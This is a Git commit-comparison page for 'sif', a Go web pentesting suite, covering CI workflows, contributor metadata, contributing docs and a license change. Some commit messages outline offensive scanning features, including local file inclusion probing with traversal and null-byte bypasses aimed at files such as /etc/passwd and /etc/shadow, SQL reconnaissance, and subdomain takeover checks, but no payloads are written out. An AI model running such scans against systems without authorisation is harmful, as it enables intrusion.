Compare commits

...

97 Commits

Author SHA1 Message Date
vmfunc 5868deef21 fix: adjust sif logo alignment 2026-01-02 19:12:28 -08:00
vmfunc b43e54bf60 fix: improve version detection and add documentation
- fix version detection to validate reasonable version numbers (major < 100)
- remove overly permissive patterns that caused false positives
- add comprehensive framework contribution documentation to CONTRIBUTING.md
- document signature patterns, version detection, and CVE data format
- add configuration documentation for flags and env vars
- outline future enhancements for community contributions
2026-01-02 19:04:37 -08:00
vmfunc c75ebccb27 docs: add framework detection to readme 2026-01-02 18:54:24 -08:00
vmfunc 858555bc47 feat: expand framework detection with cvs, version confidence, concurrency
- add 20+ new framework signatures (vue, angular, react, svelte, sveltekit,
  remix, gatsby, joomla, magento, shopify, ghost, ember, backbone, meteor,
  strapi, adonisjs, cakephp, codeigniter, asp.net core, spring boot)
- add version confidence scoring with multiple detection sources
- add concurrent framework scanning for better performance
- expand cve database with 15+ known vulnerabilities (spring4shell, etc.)
- add risk level assessment based on cve severity
- add comprehensive security recommendations
- add new tests for all features
2026-01-02 18:52:15 -08:00
vmfunc 51ee65c5df chore: add license header to detect.go 2026-01-02 18:52:15 -08:00
vmfunc 035e9406d9 feat: improve framework detection with more signatures and tests
- use math.Exp instead of custom exp implementation
- add more framework signatures: next.js, nuxt.js, wordpress, drupal,
  symfony, fastapi, gin, phoenix
- fix header detection to check both header names and values
- simplify version detection (remove unnecessary padding)
- add comprehensive test suite for framework detection
- fix formatting in dork.go
2026-01-02 18:52:15 -08:00
vmfunc ba5468725e chore(actions): add framework to CI 2026-01-02 18:52:15 -08:00
vmfunc 49b081dc30 feat(framework-detection): weighted bayesian detection algorithm
- weighted signature matching for more accurate framework detection
- sigmoid normalization for confidence scores
- version detection with semantic versioning support
- header-only pattern
2026-01-02 18:52:15 -08:00
vmfunc 127eeff265 feat: framework detection module 2026-01-02 18:52:15 -08:00
vmfunc 1b493e9572 fix: use static discord badge instead of server id 2026-01-02 18:45:07 -08:00
vmfunc 74b044ce59 docs: update readme with new modules and discord link 2026-01-02 18:42:45 -08:00
vmfunc 2a2bcf5b92 feat: add lfi reconnaissance module (#49)
adds a new --lfi flag for local file inclusion vulnerability scanning:
- tests common lfi parameters with directory traversal payloads
- detects /etc/passwd, /etc/shadow, windows system files
- identifies php wrappers and encoded content
- supports various bypass techniques (null bytes, encoding)

closes #4
2026-01-02 18:41:30 -08:00
vmfunc 166e1b82c2 feat: add sql reconnaissance module (#48)
adds a new --sql flag that performs sql reconnaissance on target urls:
- detects common database admin panels (phpmyadmin, adminer, pgadmin, etc.)
- identifies database error disclosure (mysql, postgresql, mssql, oracle, sqlite)
- scans common paths for sql injection indicators

closes #3
2026-01-02 18:40:06 -08:00
vmfunc be9c02e8ba fix: remove duplicate subdomain takeover call and add config tests (#46)
- remove duplicate SubdomainTakeover call that ran twice when both
  dns scan and --st flag were enabled
- add comprehensive tests for config settings defaults and behavior
- fix formatting in dork.go

closes #1
2026-01-02 18:38:47 -08:00
vmfunc 018af224d6 Merge pull request #47 from vmfunc/feat/shodan-integration
feat: add shodan integration for host reconnaissance
2026-01-02 18:35:56 -08:00
vmfunc 97aeb4c8b0 feat: add shodan integration for host reconnaissance
adds a new --shodan flag that queries the shodan api for information
about the target host. requires SHODAN_API_KEY environment variable.

features:
- resolves hostnames to ip addresses
- queries shodan host api for reconnaissance data
- displays organization, isp, location, ports, services, and vulns
- logs results to file when logdir is specified

closes #2
2026-01-02 18:24:37 -08:00
vmfunc 2d38d3fea5 fix: update dependencies to address security vulnerabilities
- golang.org/x/crypto v0.26.0 -> v0.46.0 (critical: ssh auth bypass)
- golang.org/x/net v0.28.0 -> v0.48.0 (medium: xss vulnerability)
- golang.org/x/oauth2 v0.11.0 -> v0.34.0 (high: input validation)
- quic-go v0.48.2 -> v0.58.0 (high: panic on undecryptable packets)
- golang-jwt/jwt v4.5.1 -> v4.5.2 (high: memory allocation)
- cloudflare/circl v1.3.7 -> v1.6.2 (low: validation issues)
- refraction-networking/utls v1.5.4 -> v1.8.1 (medium: tls downgrade)
- ulikunitz/xz v0.5.11 -> v0.5.15 (medium: memory leak)
- klauspost/compress v1.16.7 -> v1.17.4

also fixes go vet warnings for non-constant format strings
2026-01-02 18:03:27 -08:00
vmfunc 3df0064e4b fix: update readme badges and use banner image
- update badges to point to vmfunc/sif
- replace ascii art with banner image
- fix header check action to check first 5 lines
- remove obsolete LICENSE.md
2026-01-02 17:54:17 -08:00
vmfunc c20c37463a chore: delete old license 2026-01-02 17:45:14 -08:00
vmfunc 9190fa4741 license: switch to bsd 3-clause, update headers and readme
- replace proprietary license with bsd 3-clause
- update all go file headers with new retro terminal style
- add header-check github action to enforce license headers
- completely rewrite readme to be modern, sleek, and lowercase
- fix broken badges
2026-01-02 17:41:18 -08:00
vmfunc 1379dd9952 test: add basic unit tests for scan package
adds tests for subdomain takeover detection, robots.txt fetching,
and result struct validation using httptest mock servers.
2026-01-02 17:27:50 -08:00
vmfunc 925b84d22b chore: add golangci-lint configuration
enables errcheck, govet, staticcheck, unused, gosimple,
ineffassign, and misspell linters
2026-01-02 17:21:58 -08:00
vmfunc ecb2e147c2 docs: update minimum go version to 1.23 in contributing guide 2026-01-02 17:21:38 -08:00
vmfunc 5c92b6ae4d fix: handle errors instead of ignoring them
- dork.go: log and skip on googlesearch.Search error
- nuclei.go: return error on os.Getwd and reporting.New failures
- subdomaintakeover.go: return early on io.ReadAll error
2026-01-02 17:21:21 -08:00
vmfunc 75350458c1 chore: update github actions to latest versions
- update actions/checkout from v2/v3 to v4 across all workflows
- update reviewdog actions to latest versions
- update jetbrains/qodana-action to v2024.3
- update actions/dependency-review-action to v4
- replace deprecated actions/create-release and upload-release-asset
  with softprops/action-gh-release@v2
2026-01-02 17:20:01 -08:00
vmfunc 21c85974cd chore: upgrade to go 1.25 and ignore claude files
- update go.mod to use go 1.23 with toolchain go1.25.5
- add CLAUDE.md and .claude/ to .gitignore
2026-01-02 17:13:16 -08:00
vmfunc 3d2e75b525 Merge pull request #41 from vmfunc/dependabot/go_modules/go_modules-dd59f798d0
build(deps): bump github.com/quic-go/quic-go from 0.42.0 to 0.48.2 in the go_modules group
2026-01-02 17:11:27 -08:00
vmfunc bc07d1ad4e fix: update go version check to support go 1.20+
the makefile was checking for go 1.23 specifically, which breaks builds
on newer go versions (1.24, 1.25, etc). this updates the regex to allow
any go version 1.20 or higher.
2026-01-02 17:10:05 -08:00
vmfunc ca5c79b44c Merge pull request #43 from ag-wnl/agwnl/update-makefile-go
Update Makefile to support latest version of Go
2025-10-26 17:22:41 +01:00
vmfunc 450fcb8efd Update README.md 2025-04-18 16:41:37 +02:00
ag-wnl 34d190731a chore: update to be compatible with all minor Go updates 2025-03-15 15:26:09 +05:30
ag-wnl cfe681d793 chore: update makefile to latest go version 2025-03-15 15:19:54 +05:30
dependabot[bot] 1d4673c078 build(deps): bump github.com/quic-go/quic-go in the go_modules group
Bumps the go_modules group with 1 update: [github.com/quic-go/quic-go](https://github.com/quic-go/quic-go).


Updates `github.com/quic-go/quic-go` from 0.42.0 to 0.48.2
- [Release notes](https://github.com/quic-go/quic-go/releases)
- [Changelog](https://github.com/quic-go/quic-go/blob/master/Changelog.md)
- [Commits](https://github.com/quic-go/quic-go/compare/v0.42.0...v0.48.2)

---
updated-dependencies:
- dependency-name: github.com/quic-go/quic-go
  dependency-type: indirect
  dependency-group: go_modules
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-12-02 17:51:08 +00:00
vmfunc 1253515f0b actions<breaking>: remove PR-specific actions
(needs to be fixed)
2024-11-22 03:28:17 -05:00
vmfunc 5b4b43011b design: readme fixes 2024-11-14 09:09:35 +01:00
vmfunc ebdba0721c design: update product banner 2024-11-14 06:53:41 +01:00
vmfunc 806e8b0970 design: update banner 2024-11-14 06:51:54 +01:00
vmfunc 1a0245840e Merge pull request #38 from lunchcat/dependabot/go_modules/go_modules-403cefacee
build(deps): bump github.com/golang-jwt/jwt/v4 from 4.5.0 to 4.5.1 in the go_modules group
2024-11-05 00:36:18 +01:00
dependabot[bot] 8a0ed28bd5 build(deps): bump github.com/golang-jwt/jwt/v4 in the go_modules group
Bumps the go_modules group with 1 update: [github.com/golang-jwt/jwt/v4](https://github.com/golang-jwt/jwt).


Updates `github.com/golang-jwt/jwt/v4` from 4.5.0 to 4.5.1
- [Release notes](https://github.com/golang-jwt/jwt/releases)
- [Changelog](https://github.com/golang-jwt/jwt/blob/main/VERSION_HISTORY.md)
- [Commits](https://github.com/golang-jwt/jwt/compare/v4.5.0...v4.5.1)

---
updated-dependencies:
- dependency-name: github.com/golang-jwt/jwt/v4
  dependency-type: indirect
  dependency-group: go_modules
...

Signed-off-by: dependabot[bot] <support@github.com>
2024-11-04 23:33:18 +00:00
vmfunc c3805c7aee fix<dork>: properly process feature flag 2024-10-22 09:15:36 +02:00
vmfunc ceb8712204 ci: various improvements to workflow 2024-10-15 02:51:52 +02:00
vmfunc b335a45a82 chore<format>: gofmt whitespace removal 2024-10-15 02:32:48 +02:00
vmfunc 1048a97355 feat<sif>: log scan overview 2024-10-15 00:14:59 +02:00
vmfunc cceb60a423 fix<contrib>: fix contributor file 2024-10-13 00:56:23 +02:00
vmfunc bf5fd7c566 fix: replace modules with features 2024-10-13 00:49:12 +02:00
vmfunc 16a73f274b feat: improve readme 2024-10-13 00:44:50 +02:00
vmfunc fcc0ba0ea4 Merge pull request #36 from lunchcat/all-contributors/add-projectdiscovery
docs: add projectdiscovery as a contributor for platform
2024-10-13 00:32:48 +02:00
vmfunc b619ed026a Merge branch 'main' into all-contributors/add-projectdiscovery 2024-10-13 00:32:41 +02:00
vmfunc 26b35c1cbc Merge pull request #35 from lunchcat/all-contributors/add-macdoos
docs: add macdoos as a contributor for code
2024-10-13 00:31:55 +02:00
vmfunc 4a51ddda95 Merge branch 'main' into all-contributors/add-macdoos 2024-10-13 00:31:50 +02:00
vmfunc 3eae11695d Merge pull request #34 from lunchcat/all-contributors/add-D3adPlays
docs: add D3adPlays as a contributor for ideas
2024-10-13 00:31:10 +02:00
vmfunc c29227d26b Merge branch 'main' into all-contributors/add-D3adPlays 2024-10-13 00:31:04 +02:00
vmfunc 0279ea9b0a Merge pull request #33 from lunchcat/all-contributors/add-tessa-u-k
docs: add tessa-u-k as a contributor for infra, question, and userTesting
2024-10-13 00:30:16 +02:00
vmfunc dfe8004544 Merge branch 'main' into all-contributors/add-tessa-u-k 2024-10-13 00:27:32 +02:00
vmfunc 2816887a7a Merge pull request #32 from lunchcat/all-contributors/add-xyzeva
docs: add xyzeva as a contributor for blog, content, and 4 more
2024-10-13 00:25:45 +02:00
allcontributors[bot] ae82c2066d docs: update .all-contributorsrc 2024-10-12 22:25:28 +00:00
allcontributors[bot] cebfe62bcf docs: update README.md 2024-10-12 22:25:27 +00:00
allcontributors[bot] a79ffd08d4 docs: update .all-contributorsrc 2024-10-12 22:25:16 +00:00
allcontributors[bot] 22fba38ff6 docs: update README.md 2024-10-12 22:25:15 +00:00
allcontributors[bot] dd28daf795 docs: update .all-contributorsrc 2024-10-12 22:25:08 +00:00
allcontributors[bot] 7c080e99a8 docs: update README.md 2024-10-12 22:25:07 +00:00
allcontributors[bot] 7c9ba8da80 docs: update .all-contributorsrc 2024-10-12 22:24:49 +00:00
allcontributors[bot] 814be003ad docs: update README.md 2024-10-12 22:24:48 +00:00
allcontributors[bot] 2a87a5790f docs: update .all-contributorsrc 2024-10-12 22:24:41 +00:00
allcontributors[bot] 8e76b40b53 docs: update README.md 2024-10-12 22:24:40 +00:00
vmfunc e3b87e5138 Merge pull request #31 from lunchcat/all-contributors/add-vmfunc
docs: add vmfunc as a contributor for maintenance, mentoring, and 8 more
2024-10-13 00:24:12 +02:00
allcontributors[bot] 2ef4392e28 docs: update .all-contributorsrc 2024-10-12 22:23:54 +00:00
allcontributors[bot] bcb9482f00 docs: update README.md 2024-10-12 22:23:53 +00:00
vmfunc 3cd45523a3 Merge pull request #30 from lunchcat/all-contributors/add-vmfunc
docs: add vmfunc as a contributor for maintenance
2024-10-13 00:18:12 +02:00
allcontributors[bot] bd74efcc5c docs: update .all-contributorsrc 2024-10-12 22:17:40 +00:00
allcontributors[bot] 8effe8a297 docs: update README.md 2024-10-12 22:17:39 +00:00
vmfunc cb7abc230e chore<readme>: add all contributors 2024-10-13 00:12:17 +02:00
vmfunc 60ee32155a fix<ci>: remove prerelease flag on release workflow 2024-10-13 00:08:34 +02:00
vmfunc 3bc8018b26 fix<ci>: use different release version naming 2024-10-12 23:58:23 +02:00
vmfunc 4eebe0e386 fix<ci>: permission flag for release creation 2024-10-12 23:56:38 +02:00
vmfunc ea21e2188f feat<ci>: identify automated release as pre-release 2024-10-12 23:50:01 +02:00
vmfunc b262c82180 fix<ci>: add automated release tag 2024-10-12 23:47:35 +02:00
vmfunc ee0d258901 fix<ci>: add more info to the release 2024-10-12 23:45:18 +02:00
vmfunc 093b290a0d fix<ci>: use smaller release tag 2024-10-12 23:40:26 +02:00
vmfunc 4441b113e6 fix<ci>: add r/w to release 2024-10-12 23:34:50 +02:00
vmfunc ec48a8a462 fix<ci>: make release re-useable 2024-10-12 23:28:13 +02:00
vmfunc 100d385b3c chore<ci>: auto-release script 2024-10-12 23:22:34 +02:00
vmfunc 109d8efd41 chore<ci>: add func test 2024-10-12 23:16:05 +02:00
vmfunc 267aa6e177 chore<comments>: bunch of AI-generated comments to make the codebase easier to understand 2024-10-12 23:06:22 +02:00
vmfunc a2f2a51701 feat<st>: subdomain takeover checks 2024-10-12 22:52:27 +02:00
vmfunc 56516e28e2 feat<c3>: AWS c3 detection 2024-10-12 22:28:31 +02:00
vmfunc 7be0c04c7d feat<headers>: http header analysis 2024-10-12 22:15:56 +02:00
vmfunc a4dbb21e96 feat<cms>: CMS detection 2024-10-12 22:10:06 +02:00
vmfunc 887363cb16 actions!: update go version 2024-10-12 21:53:06 +02:00
vmfunc 65243f46e3 feat<logging>: assist user if no arguments are provided 2024-10-12 21:28:59 +02:00
vmfunc 5b63515650 chore<build>: improve logging 2024-10-12 21:25:30 +02:00
vmfunc d8ac81cb96 chore<build>: add extra copyrights 2024-10-12 21:21:31 +02:00
vmfunc 592ea1e14f chore<build>: enforce sudo if install fails 2024-10-12 21:16:23 +02:00
vmfunc 7fae5b1c55 chore<build>: force check UNIX system on install 2024-10-12 21:10:24 +02:00
vmfunc 18daaf61f9 chore<build>: add further logging 2024-10-12 21:08:43 +02:00
vmfunc 17aff81ee1 chore<build>: check for go install version before build 2024-10-12 21:08:02 +02:00
vmfunc 5b166ba474 fix<whois>: typos in logfile creation 2024-07-29 04:26:39 +00:00
58 changed files with 5232 additions and 171 deletions
+81
View File
@@ -0,0 +1,81 @@
{
"projectName": "sif",
"projectOwner": "lunchcat",
"files": [
"README.md"
],
"commitType": "docs",
"commitConvention": "angular",
"contributorsPerLine": 7,
"contributors": [
{
"login": "vmfunc",
"name": "mel",
"avatar_url": "https://avatars.githubusercontent.com/u/59031302?v=4",
"profile": "https://vmfunc.re",
"contributions": [
"maintenance",
"mentoring",
"projectManagement",
"security",
"test",
"business",
"code",
"design",
"financial",
"ideas"
]
},
{
"login": "projectdiscovery",
"name": "ProjectDiscovery",
"avatar_url": "https://avatars.githubusercontent.com/u/50994705?v=4",
"profile": "https://projectdiscovery.io",
"contributions": [
"platform"
]
},
{
"login": "macdoos",
"name": "macdoos",
"avatar_url": "https://avatars.githubusercontent.com/u/127897805?v=4",
"profile": "https://github.com/macdoos",
"contributions": [
]
},
{
"login": "D3adPlays",
"name": "Matthieu Witrowiez",
"avatar_url": "https://avatars.githubusercontent.com/u/75166283?v=4",
"profile": "https://epitech.eu",
"contributions": [
"ideas"
]
},
{
"login": "tessa-u-k",
"name": "tessa ",
"avatar_url": "https://avatars.githubusercontent.com/u/109355732?v=4",
"profile": "https://github.com/tessa-u-k",
"contributions": [
"infra",
"question",
"userTesting"
]
},
{
"login": "xyzeva",
"name": "Eva",
"avatar_url": "https://avatars.githubusercontent.com/u/133499694?v=4",
"profile": "https://github.com/xyzeva",
"contributions": [
"blog",
"content",
"research",
"security",
"test",
"code"
]
}
]
}
+18
View File
@@ -0,0 +1,18 @@
name: Automatic Rebase
on:
issue_comment:
types: [created]
jobs:
rebase:
name: Rebase
if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase')
runs-on: ubuntu-latest
steps:
- name: Checkout the latest code
uses: actions/checkout@v4
with:
fetch-depth: 0
- name: Automatic Rebase
uses: cirrus-actions/rebase@1.8
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+18
View File
@@ -0,0 +1,18 @@
name: Check Large Files
on:
pull_request:
push:
branches: [main]
jobs:
check-large-files:
name: Check for large files
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Check for large files
run: |
find . -type f -size +5M | while read file; do
echo "::error file=${file}::File ${file} is larger than 5MB"
done
+3 -3
View File
@@ -14,11 +14,11 @@ jobs:
pull-requests: write
checks: write
steps:
- uses: actions/checkout@v3
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 0
fetch-depth: 0
- name: 'Qodana Scan'
uses: JetBrains/qodana-action@v2023.3
uses: JetBrains/qodana-action@v2024.3
env:
QODANA_TOKEN: ${{ secrets.QODANA_TOKEN }}
+22
View File
@@ -0,0 +1,22 @@
name: "Dependency Review"
on:
pull_request:
push:
branches: [main]
permissions:
contents: read
jobs:
dependency-review:
runs-on: ubuntu-latest
steps:
- name: "Checkout Repository"
uses: actions/checkout@v4
- name: "Dependency Review"
uses: actions/dependency-review-action@v4
continue-on-error: ${{ github.event_name == 'push' }}
- name: "Check Dependency Review Outcome"
if: github.event_name == 'push' && failure()
run: |
echo "::warning::Dependency review failed. Please check the dependencies for potential issues."
+9 -9
View File
@@ -1,17 +1,17 @@
name: Go
on:
push:
branches: [ "main" ]
branches: ["main"]
pull_request:
branches: [ "main" ]
branches: ["main"]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: '1.21'
- name: Build
run: make
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: "1.23"
- name: Build
run: make
+52
View File
@@ -0,0 +1,52 @@
name: header check
on:
push:
paths:
- '**.go'
pull_request:
paths:
- '**.go'
jobs:
check-headers:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: check license headers
run: |
missing_headers=()
while IFS= read -r -d '' file; do
# skip test files and generated files
if [[ "$file" == *"_test.go" ]]; then
continue
fi
# check if file starts with the license header (signature is on line 4)
if ! head -n 5 "$file" | grep -q "█▀ █ █▀▀"; then
missing_headers+=("$file")
fi
done < <(find . -name "*.go" -type f -print0)
if [ ${#missing_headers[@]} -ne 0 ]; then
echo "::error::the following files are missing the license header:"
printf '%s\n' "${missing_headers[@]}"
echo ""
echo "expected header format:"
echo '/*'
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
echo ': :'
echo ': █▀ █ █▀▀ · Blazing-fast pentesting suite :'
echo ': ▄█ █ █▀ · BSD 3-Clause License :'
echo ': :'
echo ': (c) 2022-2025 vmfunc (vmfunc), xyzeva, :'
echo ': lunchcat alumni & contributors :'
echo ': :'
echo '·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·'
echo '*/'
exit 1
fi
echo "all go files have proper license headers"
+25
View File
@@ -0,0 +1,25 @@
name: Mind your language
on:
issues:
types:
- opened
- edited
issue_comment:
types:
- created
- edited
pull_request_review_comment:
types:
- created
- edited
jobs:
echo_issue_comment:
runs-on: ubuntu-latest
name: profanity check
steps:
- name: Checkout
uses: actions/checkout@v4
- name: Profanity check step
uses: tailaiw/mind-your-language-action@v1.0.3
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+18
View File
@@ -0,0 +1,18 @@
name: Markdown Lint
on:
pull_request:
paths:
- "**/*.md"
jobs:
markdownlint:
name: runner / markdownlint
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: markdownlint
uses: reviewdog/action-markdownlint@v0.24.0
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
reporter: github-pr-review
+20
View File
@@ -0,0 +1,20 @@
name: Misspell Check
on:
pull_request:
push:
branches: [main]
jobs:
misspell:
name: runner / misspell
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: misspell
uses: reviewdog/action-misspell@v1.26.0
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
reporter: github-pr-review
level: warning
locale: "US"
+75
View File
@@ -0,0 +1,75 @@
name: Release
on:
push:
branches: [main]
permissions:
contents: write
packages: write
jobs:
test:
uses: ./.github/workflows/runtest.yml
build-and-release:
needs: test
runs-on: ubuntu-latest
permissions:
contents: write
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: "1.23"
- name: Build for Windows
run: |
GOOS=windows GOARCH=amd64 go build -o sif-windows-amd64.exe ./cmd/sif
GOOS=windows GOARCH=386 go build -o sif-windows-386.exe ./cmd/sif
- name: Build for macOS
run: |
GOOS=darwin GOARCH=amd64 go build -o sif-macos-amd64 ./cmd/sif
GOOS=darwin GOARCH=arm64 go build -o sif-macos-arm64 ./cmd/sif
- name: Build for Linux
run: |
GOOS=linux GOARCH=amd64 go build -o sif-linux-amd64 ./cmd/sif
GOOS=linux GOARCH=386 go build -o sif-linux-386 ./cmd/sif
GOOS=linux GOARCH=arm64 go build -o sif-linux-arm64 ./cmd/sif
- name: Set release version
run: echo "RELEASE_VERSION=$(git rev-parse --short HEAD)" >> $GITHUB_ENV
- name: Create Release and Upload Assets
uses: softprops/action-gh-release@v2
with:
tag_name: automated-release-${{ env.RELEASE_VERSION }}
name: Release ${{ env.RELEASE_VERSION }}
body: |
Automated release v${{ env.RELEASE_VERSION }}
## Assets
- Windows (64-bit): `sif-windows-amd64.exe`
- Windows (32-bit): `sif-windows-386.exe`
- macOS (64-bit Intel): `sif-macos-amd64`
- macOS (64-bit ARM): `sif-macos-arm64`
- Linux (64-bit): `sif-linux-amd64`
- Linux (32-bit): `sif-linux-386`
- Linux (64-bit ARM): `sif-linux-arm64`
For more details, check the [commit history](https://github.com/${{ github.repository }}/commits/main).
draft: false
prerelease: false
files: |
sif-windows-amd64.exe
sif-windows-386.exe
sif-macos-amd64
sif-macos-arm64
sif-linux-amd64
sif-linux-386
sif-linux-arm64
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+16
View File
@@ -0,0 +1,16 @@
name: Update Report Card
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_call:
jobs:
update-report-card:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Update Go Report Card
uses: creekorful/goreportcard-action@v1.0
+29
View File
@@ -0,0 +1,29 @@
name: Functional Test
on:
push:
branches: [main]
pull_request:
branches: [main]
workflow_call:
jobs:
build-and-test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: "1.23"
- name: Build Sif
run: make
- name: Run Sif with features
run: |
./sif -u https://example.com -dnslist small -dirlist small -dork -git -whois -cms -framework
if [ $? -eq 0 ]; then
echo "Sif ran successfully"
else
echo "Sif exited with an error"
exit 1
fi
+18
View File
@@ -0,0 +1,18 @@
name: Shell Check
on:
pull_request:
paths:
- "**/*.sh"
jobs:
shellcheck:
name: runner / shellcheck
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: shellcheck
uses: reviewdog/action-shellcheck@v1.27.0
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
reporter: github-pr-review
+19
View File
@@ -0,0 +1,19 @@
name: YAML Lint
on:
pull_request:
paths:
- "**/*.yml"
- "**/*.yaml"
jobs:
yamllint:
name: runner / yamllint
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: yamllint
uses: reviewdog/action-yamllint@v1.19.0
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
reporter: github-pr-review
+4
View File
@@ -31,3 +31,7 @@ result
# nuclei templates
nuclei-templates
# claude files
CLAUDE.md
.claude/
+23
View File
@@ -0,0 +1,23 @@
linters:
enable:
- errcheck # check error returns
- govet # suspicious constructs
- staticcheck # advanced static analysis
- unused # unused code
- gosimple # simplifications
- ineffassign # useless assignments
- misspell # spelling mistakes
linters-settings:
govet:
enable-all: true
errcheck:
check-blank: false
run:
timeout: 5m
issues-exit-code: 1
issues:
max-issues-per-linter: 50
max-same-issues: 3
+93 -1
View File
@@ -31,7 +31,7 @@ When opening an issue, please use the search tool and make sure that the issue h
### Development
To develop sif, you'll need version 1.20 or later of the Go toolchain. After making your changes, run the program using `go run ./cmd/sif` to make sure it compiles and runs properly.
To develop sif, you'll need version 1.23 or later of the Go toolchain. After making your changes, run the program using `go run ./cmd/sif` to make sure it compiles and runs properly.
*Nix users:* the repository provides a flake that can be used to develop and run sif. Use `nix run`, `nix develop`, `nix build`, etc. Make sure to run `gomod2nix` if `go.mod` is changed.
@@ -53,6 +53,98 @@ When making a pull request, please adhere to the following conventions:
If you have any questions, feel free to ask around on the IRC channel.
## Contributing Framework Detection Patterns
The framework detection module (`pkg/scan/frameworks/detect.go`) identifies web frameworks by analyzing HTTP headers and response bodies. To add support for a new framework:
### Adding a New Framework Signature
1. Add your framework to the `frameworkSignatures` map:
```go
"MyFramework": {
{Pattern: `unique-identifier`, Weight: 0.5},
{Pattern: `header-signature`, Weight: 0.4, HeaderOnly: true},
{Pattern: `body-signature`, Weight: 0.3},
},
```
**Pattern Guidelines:**
- `Weight`: How much this signature contributes to detection (0.0-1.0)
- `HeaderOnly`: Set to `true` for HTTP header patterns
- Use unique identifiers that won't false-positive on other frameworks
- Include multiple patterns for higher confidence
### Adding Version Detection
Add version patterns to `extractVersionWithConfidence()`:
```go
"MyFramework": {
{`MyFramework[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"myframework":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
```
### Adding CVE Data
Add known vulnerabilities to the `knownCVEs` map:
```go
"MyFramework": {
{
CVE: "CVE-YYYY-XXXXX",
AffectedVersions: []string{"1.0.0", "1.0.1", "1.1.0"},
FixedVersion: "1.2.0",
Severity: "high", // critical, high, medium, low
Description: "Brief description of the vulnerability",
Recommendations: []string{"Update to 1.2.0 or later"},
},
},
```
### Testing Your Changes
Always add tests for new frameworks in `detect_test.go`:
```go
func TestDetectFramework_MyFramework(t *testing.T) {
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(http.StatusOK)
w.Write([]byte(`<html><body>unique-identifier</body></html>`))
}))
defer server.Close()
result, err := DetectFramework(server.URL, 5*time.Second, "")
// assertions...
}
```
### Future Enhancements (Help Wanted)
- **Custom Signature Support**: Allow users to define signatures via config file
- **CVE API Integration**: Real-time CVE data from NVD or other sources
- **Automated Signature Updates**: Fetch new signatures from a central repository
- **Framework Fingerprint Database**: Community-maintained signature database
## Configuration
### Framework Detection Flags
| Flag | Description |
|------|-------------|
| `-framework` | Enable framework detection |
| `-timeout` | HTTP request timeout (affects all modules) |
| `-threads` | Number of concurrent workers |
| `-log` | Directory to save scan results |
| `-debug` | Enable debug logging for verbose output |
### Environment Variables
| Variable | Description |
|----------|-------------|
| `SHODAN_API_KEY` | API key for Shodan host intelligence |
## Packaging
We'd love it if you helped us bring sif to your distribution.
+26 -8
View File
@@ -1,11 +1,29 @@
Copyright 2023 - 2024 lunchcat, inc. ALL RIGHTS RESERVED.
BSD 3-Clause License
Use of this tool is restricted to research and educational purposes only. Usage in a production environment outside of these categories is strictly prohibited. Any person or entity wishing to use this tool outside of research or school purposes must purchase a license from https://lunchcat.dev.
Copyright (c) 2022-2025 vmfunc (vmfunc), xyzeva, lunchcat alumni,
and other sif contributors.
For Businesses:
1. Licensing Requirement: Businesses intending to use this tool for any commercial, operational, or production purposes must obtain a commercial license from [lunchcat.dev](https://lunchcat.dev).
2. Compliance: Businesses must ensure compliance with all applicable laws and regulations when using this tool.
3. Liability: lunchcat assumes no liability for any damages or losses incurred by businesses using this tool without an appropriate license.
4. Support: Licensed business users are eligible for dedicated support and updates as per the terms of their license agreement.
5. Audits: lunchcat reserves the right to audit business usage of this tool to ensure compliance with the licensing terms.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
1. Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
2. Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
3. Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
